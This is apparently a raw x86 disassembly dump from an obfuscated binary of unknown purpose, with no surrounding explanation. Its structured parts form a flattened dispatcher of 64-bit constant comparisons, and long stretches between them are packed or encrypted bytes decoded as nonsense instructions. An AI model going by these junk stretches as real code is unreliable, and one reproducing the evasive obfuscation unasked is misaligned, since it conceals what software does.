mul dword [ebp - 0x1b0]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x1b8], eax
mov dword [ebp - 0x1b4], edx
mov dword [ebp - 0x1b8], eax
mov dword [ebp - 0x1b4], edx
mov eax, dword [ebp - 0x1b8]
xor eax, 0xb57b0aac
mov edx, dword [ebp - 0x1b4]
xor edx, 0x40
or eax, edx
je 0x684f7982
mov edx, 0xb57b0aac
mov eax, 0x40
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x684f7985
mov eax, dword [ebp - 0x1b8]
xor eax, 0xf241e
or eax, dword [ebp - 0x1b4]
je 0x684d92ff
mov edx, 0xf241e
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x684f7985
mov eax, dword [ebp - 0x1b8]
xor eax, 0xe3fd7
or eax, dword [ebp - 0x1b4]
je 0x684d7e3f
mov edx, 0xe3fd7
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x684f7985
mov eax, dword [ebp - 0x1b8]
xor eax, 0xd783b
or eax, dword [ebp - 0x1b4]
je 0x684db21f
mov edx, 0xd783b
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x684f7985
mov eax, dword [ebp - 0x1b8]
xor eax, 0xa0ddf
or eax, dword [ebp - 0x1b4]
je 0x684d9d5f
mov edx, 0xa0ddf
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x684f7985
mov eax, dword [ebp - 0x1b8]
xor eax, 0x83ee2
or eax, dword [ebp - 0x1b4]
je 0x684dbc7f
mov edx, 0x83ee2
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x684f7985
mov eax, dword [ebp - 0x1b8]
xor eax, 0x70b01
or eax, dword [ebp - 0x1b4]
je 0x684d73df
mov edx, 0x70b01
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x684f7985
mov eax, dword [ebp - 0x1b8]
xor eax, 0x3494f
or eax, dword [ebp - 0x1b4]
je 0x684d889f
mov eax, dword [ebp - 0x1b8]
xor eax, 0x5b67a
or eax, dword [ebp - 0x1b4]
je 0x684da7bf
jmp 0x684f7985
insb byte es:[edi], dx
inc ebp
cmp dl, ch
inc ecx
movsb byte es:[edi], byte es:[esi]
inc esi
hlt
mov dword [ebx + 0x7a2f1c7], edx
xor cl, byte [edi]
test byte [ecx], dh
add ebp, ebx
invalid
iretd
mov ah, 0x2f
adc byte [edi], 0xe6
cmp al, 1
pop ss
pop ss
out 0x3c, al
add dword [edi], edx
push es
sub al, 0xc2
sbb esi, ebx
mov edi, 0xb3493ab2
mov esp, 0x86398fe3
adc edx, dword [ecx - 0x2d]
vmwrite esi, dword [ebx]
push ebx
adc cl, byte [eax - 0x6c]
ja 0x684d88be
sahf
movsd dword es:[edi], dword [esi]
jbe 0x684d88a4
adc byte [edi], dl
jmp 0x684d8862
loop 0x684d88dc
jbe 0x684d8876
xchg ebx, edx
pop esp
jp 0x684d88bb
rcr dword [edx + edi*2 + 0x13], cl
pushfd
mov ch, 0xb5
jo 0x684d88d3
cmp ah, byte [eax + 0x4f]
out dx, al
jns 0x684d88c7
popal
push edx
js 0x684d8851
xchg ebx, eax
dec ebp
inc esp
fbstp tbyte [eax - 0xc]
jo 0x684d88b1
cmp eax, 0x7db71bde
ficomp word [ebx]
mov bh, 0x7d
push cs
loope 0x684d88c5
cmp ecx, dword [ebx]
jge 0x684d890b
fsubr qword [edx + 0x59]
inc ebp
cmp eax, 0x2b8cc88a
cdq
sbb edi, dword [esi + 0x43]
jg 0x684d885f
add dword [edi + 0x57df5a84], ebp
lodsb al, byte [esi]
fist word [edi - 0x54]
cmc
daa
daa
test dword [eax + 7], edx
ficomp word [ebx]
sub ecx, edi
enter 0xffffffffffffe08c, 0xffffffffffffffd7
xchg edi, eax
and ebp, dword fs:[ebp - 0x54201282]
cmpsb byte [esi], byte es:[edi]
sbb bl, byte [edx - 0x3f]
mov ecx, 0xd429a1e8
dec eax
sub byte [ebx], ah
ret 0xe50f
inc ecx
mov eax, 0x42bf901c
stc
mov al, byte [0x16ae6b5c]
stosb byte es:[edi], al
invalid
push edi
pop ecx
or dh, byte [esi - 0x25]
int3
test eax, 0x3ac28591
mov dword [0x9dad9b63], eax
inc edi
sbb ecx, dword [ebx]
push ebp
mul dh
xor bh, byte [eax]
sbb ch, dh
push eax
pop ds
and dh, byte [ebx + 0xf9a43f2]
sti
adc al, 0x6f
push es
xor eax, 0x75833385
fcom dword [esi]
sbb bh, dh
cmc
jno 0x684d9d01
fidivr word [ebp + 0x3f]
mov ch, 0x2f
sub ah, bh
jo 0x684d9d69
mov edx, 0x567eb92b
cwde
fsubr qword [ecx]
sub byte [ebp - 0x4dacb7b2], bh
add ch, bh
or byte [edx + 0x3ec82014], 0x5a
das
jae 0x684d9d9a
xchg ebx, eax
and dword [esi + 0x6194df6f], ebx
push cs
js 0x684d9d8f
out dx, al
xchg edi, eax
jge 0x684d9cea
movsb byte es:[edi], byte [esi]
cmp eax, 0xc7b9721f
jno 0x684d9d5f
pop ds
jb 0x684d9d07
invalid
in al, dx
fisubr word [ecx + 0x50]
stosb byte es:[edi], al
pop ebp
sbb dl, byte [eax - 0x23d21634]
add dword [eax], eax
pop esp
pop edi
inc ebx
jo 0x684d9d1c
mov dword [ebp + 0x20eccce2], ecx
push ecx
or eax, 0x65f9674c
outsb dx, byte [esi]
in al, dx
and byte [ecx + 0xd], dl
dec esp
stc
outsb dx, byte gs:[esi]
pushfd
xchg edx, eax
mov esp, 0xd61a87cf
xchg esp, eax
push ds
ret
mov dword [0x17ed511f], eax
sub eax, edx
daa
cld
in al, 0xd9
jae 0x684d9d4b
js 0x684d9d9e
dec ecx
xor dword [edi - 0x3ef1b57c], 0xffffffe9
jo 0x684d9e03
inc eax
in eax, 0x7d
invalid
add al, dh
dec edi
invalid
cmp dword [edi - 0x57], ecx
or eax, 0xe04bf93f
push 0x62
pcmpgtd mm4, qword [edi + 1]
sahf
push edi
insb byte es:[edi], dx
clc
mov eax, ebp
inc edx
aam 0x74
cld
sti
mov ebp, 0x4dd53b49
out dx, eax
sti
xor edi, dword [eax + 0x70]
and bl, dh
or eax, 0xe4f29eba
push 0xffffffffffffffeb
sti
pushal
mov ebp, 0xe2b994eb
jno 0x684d9e62
pop edx
int1
jl 0x684d9ded
sub byte [ebx + 0x7773870f], dl
cmpsb byte [esi], byte es:[edi]
loopne 0x684d9e1b
push esi
push edx
push edx
cld
mov edx, edi
adc bl, byte [ebp - 0x70]
int3
mov bl, ah
xchg esi, eax
push edx
push 0xa2e73113
fsub qword [ebp + 0x6f5fe0fd]
inc ebx
mov dl, 0x51
insb byte es:[edi], dx
xchg byte [eax], dl
aam 0xce
xor eax, 0x8ea02fb8
cmp dh, ah
inc ebp
sar dword [edx - 0x72], cl
dec edi
mov byte [0x1fa71b1a], al
xchg esi, eax
imul edx, dword [ecx - 0x3d], 0x3d
insd dword es:[edi], dx
fisubr dword [edx + 0x31398295]
mov esi, edx
add eax, 0x7a99d803
fistp dword [edi]
invalid
jae 0x684da806
cmp eax, 0xce3775e5
push esp
push 0xbafa2830
cli
leave
invalid
mov dword [esi + 0x59], ecx
mov cl, dl
imul ecx, dword [esi + esi], 0xffffffa4
mov edi, 0xf83f4356
add eax, 0xdf6d2ee8
clc
sbb ecx, eax
sub ebx, dword [ebx]
stc
sub ah, 0x2a
ror bh, 1
sbb al, ah
arpl word [ebx + esi - 0x15966271], bp
shl dword [edx + 0xd], cl
jae 0x684da882
sbb ah, byte [esi]
jne 0x684da865
cdq
wait
inc ebx
inc ebx
adc dword [eax*4 + 0x65dcfddc], 0x28
test esp, ebx
std
fsub qword [ebp + 0x28]
arpl word [ecx + 0x37], ax
push ss
and bl, byte [ebx + edx]
push eax
or eax, 0x51511f6e
aam 0xab
pop edi
and dh, byte [eax - 0x3e530c16]
dec edi
or esp, ebp
xlatb
in al, dx
push cs
invalid
retf 0x40cc
fsub qword [edx]
xlatb
mov dl, 0x64
out dx, eax
xor ch, byte [esi]
sar byte [ecx], 0x59
cmp cl, byte [ebx]
jl 0x684da892
pop es
jae 0x684da83d
push ebx
dec ebp
xor eax, 0x2d8f661d
daa
push 0xffffffffffffffca
xchg ebx, eax
cmc
and eax, 0x99f1bb6f
mov ch, 1
xchg byte [ecx + 0x7d], bl
push 0x90487dce
int3
mov edx, 0x4318f9bd
cmp ecx, dword [eax - 0x4d]
pop ds
lahf
mov dword [edx], 0x5e275e2f
aam 0xf4
xlatb
int3
xchg byte [ecx + 0x7a], dl
sal bl, 1
or bl, bh
xlatb
mov ebp, 0xa870d622
jns 0x684db1bf
aam 0x4f
push ss
inc ecx
invalid
xor ebx, esp
hlt
mov dword [ebp - 0x160], 0x804aa
mov dword [ebp - 0x15c], 0
mov dword [ebp - 0x168], 0x58282
mov dword [ebp - 0x164], 0
mov ecx, dword [ebp - 0x160]
mov ebx, dword [ebp - 0x15c]
mov eax, dword [ebp - 0x168]
mov edx, dword [ebp - 0x164]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x16c], edx
mov eax, dword [ebp - 0x170]
xor eax, 0xdd1e0
or eax, dword [ebp - 0x16c]
je 0x684e3182
mov edx, 0xdd1e0
mov eax, 0
cmp edx, dword [ebp - 0x170]
sbb eax, dword [ebp - 0x16c]
jl 0x684e509f
mov eax, dword [ebp - 0x170]
xor eax, 0xdb827
or eax, dword [ebp - 0x16c]
je 0x684dde82
mov edx, 0xdb827
mov eax, 0
cmp edx, dword [ebp - 0x170]
sbb eax, dword [ebp - 0x16c]
jl 0x684e509f
mov eax, dword [ebp - 0x170]
xor eax, 0xd872c
or eax, dword [ebp - 0x16c]
je 0x684e50a2
mov edx, 0xd872c
mov eax, 0
cmp edx, dword [ebp - 0x170]
sbb eax, dword [ebp - 0x16c]
jl 0x684e509f
mov eax, dword [ebp - 0x170]
xor eax, 0xaf483
or eax, dword [ebp - 0x16c]
je 0x684e4642
mov edx, 0xaf483
mov eax, 0
cmp edx, dword [ebp - 0x170]
sbb eax, dword [ebp - 0x16c]
jl 0x684e509f
mov eax, dword [ebp - 0x170]
xor eax, 0xae92a
or eax, dword [ebp - 0x16c]
je 0x684de8e2
mov edx, 0xae92a
mov eax, 0
cmp edx, dword [ebp - 0x170]
sbb eax, dword [ebp - 0x16c]
jl 0x684e509f
mov eax, dword [ebp - 0x170]
xor eax, 0x96b58
or eax, dword [ebp - 0x16c]
je 0x684dd422
mov edx, 0x96b58
mov eax, 0
cmp edx, dword [ebp - 0x170]
sbb eax, dword [ebp - 0x16c]
jl 0x684e509f
mov eax, dword [ebp - 0x170]
xor eax, 0x87492
or eax, dword [ebp - 0x16c]
je 0x684df342
mov edx, 0x87492
mov eax, 0
cmp edx, dword [ebp - 0x170]
sbb eax, dword [ebp - 0x16c]
jl 0x684e509f
mov eax, dword [ebp - 0x170]
xor eax, 0x8488d
or eax, dword [ebp - 0x16c]
je 0x684e3be2
mov edx, 0x8488d
mov eax, 0
cmp edx, dword [ebp - 0x170]
sbb eax, dword [ebp - 0x16c]
jl 0x684e509f
mov eax, dword [ebp - 0x170]
xor eax, 0x7ab93
or eax, dword [ebp - 0x16c]
je 0x684e1cc2
mov edx, 0x7ab93
mov eax, 0
cmp edx, dword [ebp - 0x170]
sbb eax, dword [ebp - 0x16c]
jl 0x684e509f
mov eax, dword [ebp - 0x170]
xor eax, 0x426c3
or eax, dword [ebp - 0x16c]
je 0x684dfda2
mov edx, 0x426c3
mov eax, 0
cmp edx, dword [ebp - 0x170]
sbb eax, dword [ebp - 0x16c]
jl 0x684e509f
mov eax, dword [ebp - 0x170]
xor eax, 0x3234d
or eax, dword [ebp - 0x16c]
je 0x684e0802
mov edx, 0x3234d
mov eax, 0
cmp edx, dword [ebp - 0x170]
sbb eax, dword [ebp - 0x16c]
jl 0x684e509f
mov eax, dword [ebp - 0x170]
xor eax, 0x2d785
or eax, dword [ebp - 0x16c]
je 0x684e1262
mov edx, 0x2d785
mov eax, 0
cmp edx, dword [ebp - 0x170]
sbb eax, dword [ebp - 0x16c]
jl 0x684e509f
mov eax, dword [ebp - 0x170]
xor eax, 0x79b8
or eax, dword [ebp - 0x16c]
je 0x684dc9c2
mov eax, dword [ebp - 0x170]
xor eax, 0x1e82c
push dword [0x1e82c]
or eax, dword [ebp - 0x16c]
je 0x684e2722
jmp 0x684e509f
inc esi
add dword [ecx], eax
shr byte [edi - 0x63c4894c], cl
in al, dx
push ds
mov bh, 0xf6
sbb byte [eax + 0x3c32e325], bl
xor dh, dl
sbb ah, al
dec esi
ja 0x684dc97c
in al, 0xc9
jne 0x684dca2c
push 0xffffffffffffffcd
invalid
jb 0x684dc9ab
and byte [edi], ch
xchg esi, eax
and bl, byte [edi]
dec edi
loop 0x684dca03
stc
popal
add byte [esi - 0x29], ch
pushal
mov bl, 0x87
out dx, al
mov dl, 0x56
mov cl, 0x88
iretd
pushal
insd dword es:[edi], dx
jecxz 0x684dca00
out 0xd7, al
imul dx, word [ecx - 0x3b], 0x462d
mov al, 0x9d
or eax, 0xdd622efc
out dx, al
out 0x48, al
xchg eax, ecx
mov dl, 0xa4
loopne 0x684dc9fc
bound ebp, qword [ecx + 0x688d6935]
mov eax, 0xe157ca42
invalid
invalid
idiv byte [ecx + 0x57008e3c]
push ebp
push 0x6a
cdq
mov bh, byte [edx]
cmp eax, 0xd869fda3
cmp edi, eax
pop es
shr byte [edi - 0x21ec181e], 0
call 0x584443be
std
imul ebx, eax, 0xc007c739
scasd eax, dword es:[edi]
loop 0x684dde40
adc ebx, esi
add al, ch
pop ebp
imul bh
hlt
mov cl, 0x85
call 0x8d17425
loopne 0x684dde4f
nop
adc ah, byte [esi + 0x1a52f64c]
mov esp, dword [ebx]
xor al, 0xbf
adc edi, dword [ecx - 0x42]
pushfd
pop ds
lcall 0xb0d7, 0x30466c52
dec ecx
cmc
lodsd eax, dword [esi]
ret
bound eax, qword [edx - 0x20]
outsb dx, byte [esi]
aam 6
push edx
jle 0x684de8b9
inc eax
inc edx
sub eax, 0x39d4ecca
dec eax
push ds
invalid
jne 0x684de854
sub ch, bh
sbb eax, 0x3fcf127f
rcr bh, 1
out 0x2f, eax
xchg esi, eax
xor dword [edx], ebp
loopne 0x684de8d9
out dx, eax
inc esp
fild dword [ebp + 0xd]
mov ebx, 0x70c0092c
lahf
enter 0xbe7, 0x6a
or edi, dword [eax]
lcall 0x659e, 0xbf03e426
shl cl, 1
stosb byte es:[edi], al
mov cl, 0xea
aam 0x67
dec ecx
push ecx
insb byte es:[edi], dx
out 0x70, al
ficom word [ecx]
mov ch, 0xd8
fadd dword [edx - 0x5d]
mov dh, 0xb7
test byte cs:[esi], 0xec
salc
js 0x684de92f
scasb al, byte es:[edi]
shl eax, 1
xor cl, bh
iretd
pop ebp
mov eax, 0x4f6dc9c6
test byte [esi], 0x7e
into
sub byte [eax + eax*4 + 0x7fe6ce9d], ch
mov ebx, 0x91d91a7f
in eax, dx
in eax, dx
or dword [edi], edi
jecxz 0x684de938
jae 0x684de8a0
pop esi
or ecx, dword [edi - 0x3e163370]
add byte [bx + si], al
mov esi, 0x6e21a7f9
jecxz 0x684de86a
or byte [eax - 0x7c], al
arpl word [ecx + 0x20], si
pop edx
xchg esi, eax
out 0x86, eax
mov eax, 0x86ac2214
sbb byte [ecx + 0x26e9b036], dl
adc dword [edx - 4], 0xaf757eb3
invalid
xor byte [edi], 0xa8
test byte [ebp - 0x6b4b4aab], ah
imul ebp, dword [ebx], 0xffffffaa
add al, 0x4c
in eax, dx
adc eax, 0x9badd423
pop ss
lahf
imul esi, dword [edi], 0xffffffdd
adc bl, byte [edx - 8]
pop ebp
mov eax, 0xac50926c
xchg ecx, eax
insb byte es:[edi], dx
fdivr qword [edi]
push ebx
sbb edx, dword [ecx]
pop edi
sbb byte [si], 0x1d
inc esi
aaa
push eax
dec edx
inc esp
pop edx
xchg esi, eax
sub byte es:[0xb2ca916c], 0x66
pop eax
and esp, dword [0x2cb90b09]
outsb dx, byte [esi]
inc ecx
fst qword [edx - 0x73]
sub bh, cl
pop esp
insd dword es:[edi], dx
jle 0x684de9d4
or dword [ebx], ecx
mov ecx, 0xdd416e2c
push edx
lea ebp, [eax]
iretd
leave
and edx, dword [edx + 0x1c]
adc ebx, dword [edx]
dec ebx
fstp dword [edi - 0x27600c08]
jne 0x684de96f
pop edx
push ds
push ss
cld
invalid
inc esp
push es
enter 0xffffffffffffa655, 0xffffffffffffffdd
xor al, 0xad
stosb byte es:[edi], al
mov dword [edi + 0x6ec71595], 0x710f5600
mov dl, 1
and cl, byte [edx + 0x5758a90f]
in eax, dx
invalid
sub byte [eax + 0x23], dl
mov ch, 0xfb
invalid
xchg edi, eax
xchg ch, dh
cmc
jnp 0x684df2cc
wait
or ebp, ecx
mov ah, 0x6e
xchg ebp, eax
xchg ebp, eax
imul ebx, dword [ebx], 8
int1
jne 0x684df296
or dword [ebp + edi*2 - 0x16ed7e14], ebp
sub al, 0xd2
lodsb al, byte [esi]
jge 0x684df2ae
adc dword [edx], 0xd22cf3e9
xchg edi, eax
jnp 0x684df2ac
xchg eax, ebx
pop esi
fsub dword [ebp + 0x5e]
fistp word [edx + edx*4 + 0x1135be9e]
sbb ebx, ebx
sahf
push ebp
in al, dx
mov ah, 0x7d
and dh, al
fadd dword [edx - 0x3f]
xchg ebx, eax
pop ebx
or dword [eax], esp
xchg esp, eax
mov esi, dword ds:[ecx + 0x7842a8a]
or eax, 0x66970713
dec ecx
xchg ecx, eax
pop es
rol byte [ecx + eax], 0x57
sar dword [edx - 0x3e225b15], cl
fisubr word [esi]
aas
mov ah, 0xed
dec edx
leave
shr dword [ebp + 0xad4d216], 1
mov dword [0x6e01dc0], eax
aaa
fld dword [ecx]
xor al, 0xd9
outsd dx, dword [esi]
pop esp
jo 0x684df2bf
sbb byte [edi + 0x64dfb1bc], bl
jl 0x684df337
retf 0xd44b
mov al, byte [ecx - 0x336fcfc2]
jmp 0x684e50a3
test dword [edi], esi
movsd dword es:[edi], dword [esi]
into
mov eax, dword [0xb78a4a98]
rcl byte [0xfca82dd8], cl
jl 0x684df309
adc al, 0x60
cmp ch, bl
int 0x79
jns 0x684df35c
sub eax, 0xfa579eb6
mov dh, 0x9e
push edi
cli
mov ecx, 0xd2ee3c56
call 0xc148d612
std
call 0xf23d6c4e
fst qword [ebp - 0x62]
xchg edi, eax
pop edi
stosd dword es:[edi], eax
pushal
adc dword [ebp + 0x5303b3f7], 0x19b0c16d
mov dword [0x5d21a438], eax
cmp byte [eax - 6], al
int3
int3
js 0x684dfd7a
adc edi, dword [ecx]
sub dl, dh
popal
and eax, 0xf90c578b
fnstsw word [edx + 0x73589132]
dec esi
dec eax
cwde
and eax, 0x9ee1b4a2
scasb al, byte es:[edi]
mov dword [ebp - 0x1b], ebp
mov edx, 0xa72e3ad1
scasb al, byte es:[edi]
pop es
and ecx, dword [ebx]
sub dh, byte [esi + 0x3db33f45]
jp 0x684dfdd2
cmp ebx, eax
aaa
aaa
jl 0x684dfe11
ret
cmpsb byte [esi], byte es:[edi]
xchg edx, eax
pop es
mov ecx, 0x65dc57dd
or eax, 0x44ac2760
jns 0x684dfdff
push ebp
stosd dword es:[edi], eax
cwde
pop esp
xchg ebp, eax
insd dword es:[edi], dx
insb byte es:[edi], dx
out dx, al
mov ebx, 0x1e598fb7
pushal
test byte [ebp - 0x2d760523], cl
retf 0xde9c
pop ebp
inc esp
popal
adc dl, byte [ebx + 0x3d]
fadd dword [edx - 0x26c1f0f1]
adc byte [ebx + 0x7468a746], ah
mov bh, 0xb7
lahf
or dword [esi + 0x33b92f09], edi
push 0xfeadc299
invalid
add eax, ebp
ljmp 0xca99
test al, 0xc9
sbb edi, dword [ebx]
inc esi
xor eax, 0x182c1e13
xchg esi, eax
invalid
sub dword [edi + ecx*4 - 0x66], edi
ficomp dword [edi - 0x22]
dec eax
aaa
shr cl, 1
cwde
xor edi, 0xffffffaa
popal
mov cl, 0xe
jae 0x684e1cd6
and al, 0x58
int 0x51
jle 0x684e1ced
mov bl, 0xd1
and byte [ebx - 0x626abef4], bl
jmp 0xda5c716b
cmp bh, byte [edx - 0x19]
fstp qword [edi - 0x1d]
mov dl, 0x3c
jbe 0x684e1d3e
and eax, 0x54253335
lcall 0xdea8, 0x63c9f7f3
mov bl, 0x49
retf 0x510
mov eax, 0x5547d28c
invalid
aas
dec ebx
clc
jne 0x684e1d50
mov bl, 0x87
sub byte [ecx - 0x2a], ch
out dx, eax
mov ebx, 0xbd9a319e
dec ecx
cmp byte [ebp - 0x33], 0x14
sahf
xor dword [edx + 0x7d8049bd], ebx
int 0x14
jge 0x684e1d1f
adc al, 0xe1
dec ebx
loope 0x684e1da0
jp 0x684e1cd8
wait
sahf
jecxz 0x684e1d05
push ebp
add al, 2
mov gs, word [ebx - 0x29fd536c]
jno 0x684e1d4a
lodsd eax, dword [esi]
xchg esi, eax
into
pop edx
sahf
aad 0x7a
invalid
adc eax, esi
fcomp st(1)
invalid
jmp 0xde1c48db
xor byte [ebx + 0x75881b28], dl
outsd dx, dword [esi]
mov dh, 0x1f
hlt
enter 0xffffffffffff886c, 0x3b
in eax, dx
cmp edi, esp
inc esi
and eax, dword [ebp + 8]
rcr byte [ebp + 0x14], 0x3a
pop ebx
cdq
lahf
insd dword es:[edi], dx
inc ebx
ret 0xd923
int1
sub dword [edx], edi
mov eax, dword [0xa164d07b]
in al, dx
idiv cl
xchg esp, eax
nop
jae 0x684e3b8a
adc eax, 0x10acd8f3
jne 0x684e3c01
mov dword [0x3d28200], eax
in al, 0x6c
insb byte es:[edi], dx
invalid
jo 0x684e3c5a
lodsd eax, dword [esi]
dec edx
push ecx
in al, dx
jae 0x684e3bfe
je 0x684e3c63
inc esp
out dx, al
invalid
fxch st(7)
push 0x6ef8b0f9
cmp bl, byte [edi]
int1
dec edx
add byte [ebx + 0x54], dh
adc eax, 0x699e42de
scasd eax, dword es:[edi]
xor byte [esi], al
ljmp 0x70f2
sbb dl, byte [ebx - 0x58e3ed18]
xchg ebp, eax
test dword [ecx + 0x28], 0xf00e4e34
in eax, 0x17
fiadd dword [esi - 0x29]
test eax, 0xfbae12be
ret 0x4205
xor bh, byte [ebp + 0x501acdf6]
rcl byte [ebp + 0x40d5f93b]
xchg esi, eax
rcl dword [eax + 0xa61e9cc], 0
add bl, dl
test dword [ebx + 0x862207c], ecx
inc ebx
xor ah, byte [eax - 0x53f2c31b]
int3
rol dword [ebp + 0x62207c8b], cl
or byte [ebx + 0x32], al
mov al, byte [0xac0d3ce5]
in eax, 0xce
xchg edx, eax
pushal
mov word [eax - 0x12], gs
mov esp, dword [eax - 0x1317ed90]
jb 0x684e463c
jle 0x684e462d
std
push esp
inc esp
mov esi, dword [ebp - 0x62]
frstor dword [edx]
sbb esi, dword [ebx + 0x5a]
jecxz 0x684e45fa
leave
mov cl, 0xc5
invalid
nop
jmp 0x684e50a3
nop
mov eax, dword [0x68b0701c]
mov dword [esp], 0
call eax
mov dword [ebp - 0x178], 0x1474
mov dword [ebp - 0x174], 0
mov dword [ebp - 0x180], 0x6be94
mov dword [ebp - 0x17c], 0
mov eax, dword [ebp - 0x174]
imul eax, dword [ebp - 0x180]
mov edx, eax
mov eax, dword [ebp - 0x17c]
imul eax, dword [ebp - 0x178]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x178]
mul dword [ebp - 0x180]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x188], eax
mov dword [ebp - 0x184], edx
mov dword [ebp - 0x188], eax
mov dword [ebp - 0x184], edx
mov eax, dword [ebp - 0x188]
xor eax, 0x89f1eb10
or eax, dword [ebp - 0x184]
je 0x684ee527
mov edx, 0x89f1eb10
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x684ee52a
mov eax, dword [ebp - 0x188]
xor eax, 0xd4fb9
or eax, dword [ebp - 0x184]
je 0x684e5e4a
mov edx, 0xd4fb9
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x684ee52a
mov eax, dword [ebp - 0x188]
xor eax, 0xca643
or eax, dword [ebp - 0x184]
je 0x684edaca
mov edx, 0xca643
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x684ee52a
mov eax, dword [ebp - 0x188]
xor eax, 0x9ed42
or eax, dword [ebp - 0x184]
je 0x684e7d6a
mov edx, 0x9ed42
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x684ee52a
mov eax, dword [ebp - 0x188]
xor eax, 0x99039
or eax, dword [ebp - 0x184]
je 0x684e53ea
mov edx, 0x99039
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x684ee52a
mov eax, dword [ebp - 0x188]
xor eax, 0x97106
or eax, dword [ebp - 0x184]
je 0x684ed06a
mov edx, 0x97106
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x684ee52a
mov eax, dword [ebp - 0x188]
xor eax, 0x8a967
or eax, dword [ebp - 0x184]
je 0x684e87ca
mov edx, 0x8a967
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x684ee52a
mov eax, dword [ebp - 0x188]
xor eax, 0x711bb
or eax, dword [ebp - 0x184]
je 0x684ea6ea
mov edx, 0x711bb
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x684ee52a
mov eax, dword [ebp - 0x188]
xor eax, 0x709a0
or eax, dword [ebp - 0x184]
je 0x684ebbaa
mov edx, 0x709a0
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x684ee52a
mov eax, dword [ebp - 0x188]
xor eax, 0x70218
or eax, dword [ebp - 0x184]
je 0x684e730a
mov edx, 0x70218
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x684ee52a
mov eax, dword [ebp - 0x188]
xor eax, 0x4560a
or eax, dword [ebp - 0x184]
je 0x684ec60a
mov edx, 0x4560a
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x684ee52a
mov eax, dword [ebp - 0x188]
xor eax, 0x329a9
or eax, dword [ebp - 0x184]
je 0x684e922a
mov edx, 0x329a9
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x684ee52a
mov eax, dword [ebp - 0x188]
xor eax, 0x32123
or eax, dword [ebp - 0x184]
je 0x684e68aa
mov edx, 0x32123
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x684ee52a
mov eax, dword [ebp - 0x188]
xor eax, 0x6d24
or eax, dword [ebp - 0x184]
je 0x684e9c8a
mov eax, dword [ebp - 0x188]
xor eax, 0x2cc9a
or eax, dword [ebp - 0x184]
je 0x684eb14a
jmp 0x684ee52a
cld
dec eax
jmp 0x684e5454
lodsb al, byte [esi]
mov ch, 0x8e
out dx, eax
sahf
and al, 0xf4
jmp 0xe47abc8c
in al, 0xba
leave
adc al, 0xd6
sbb bl, byte [eax - 0x36]
in eax, 0x12
inc esp
invalid
pop edx
retf 0xc7ba
mov ebp, 0x44ebd1
push eax
inc edi
add byte [eax], dh
ret
dec edx
inc ebx
inc esi
inc eax
dec ecx
cwde
lcall 0xde3, 0x940ffd1d
pop ss
mov ebp, 0xc4404d76
test bl, bl
and bh, ah
retf
aas
jae 0x684e7d41
mov cl, 0xf
jnp 0x684e7d91
arpl di, bx
inc edx
xchg edx, eax
and eax, 0x86f3981a
pop ss
xrelease xchg byte [edi], dl
loopne 0x684e7ce1
sbb dword [ebx - 0x10846770], eax
out dx, eax
mov esi, dword [edx - 0x3e]
mov dh, 0xa0
outsb dx, byte ss:[esi]
dec ebx
jp 0x684e7d8f
cmp dword [esi - 0x1f], ecx
popal
dec esi
loope 0x684e7dba
xchg ecx, eax
popal
stc
ljmp 0xc34b
pop eax
stosd dword es:[edi], eax
push cs
imul esi, dword [bx + di - 0xce4], 0xe
jg 0x684e7d4b
cmp eax, 0xe4a1161c
or bh, byte [ebx + edi*4 + 0x4da52a97]
je 0x684e7d6d
test eax, 0xc8d67a86
inc ebx
loop 0x684e7d33
mov al, 0xa7
mov ch, 0xfc
dec eax
jle 0x684e7dfb
imul ebx, ecx, 0x628168d
lock adc dword [esi - 0x225aaed0], 0xdc6c913a
lds esi, [ecx + 0x19]
pop ss
popal
salc
out 0xf9, eax
mov ebp, 0x342660dc
mov al, byte [0xe8142fe7]
xor dword [edi + ebp + 0x79ca4ec0], edx
jg 0x684e7d55
invalid
jns 0x684e7e3b
cwde
ficomp word [eax + 0x3a]
mov esp, 0x7c6f1a1a
cmpsd dword [esi], dword es:[edi]
pop edi
sub ebx, dword [ecx]
frstor dword [eax]
dec ecx
mov bl, 0
imul eax, dword [esi + 0x6018e1d0], 0x83f4eb96
mov ecx, 0xe0138814
hlt
inc edx
test dword [ebx + 0x3f], 0xa57e48b4
or dword [edx + 0xd7ba94c], edi
xor al, 0xc
sbb al, 0x6f
push cs
in eax, 0x73
cmp ebx, dword [edx]
mov esp, 0xab4d62a7
invalid
mov eax, 0xf1506622
xor al, 0x72
invalid
cmp byte [edi + 0x23], bh
adc dword [eax], esp
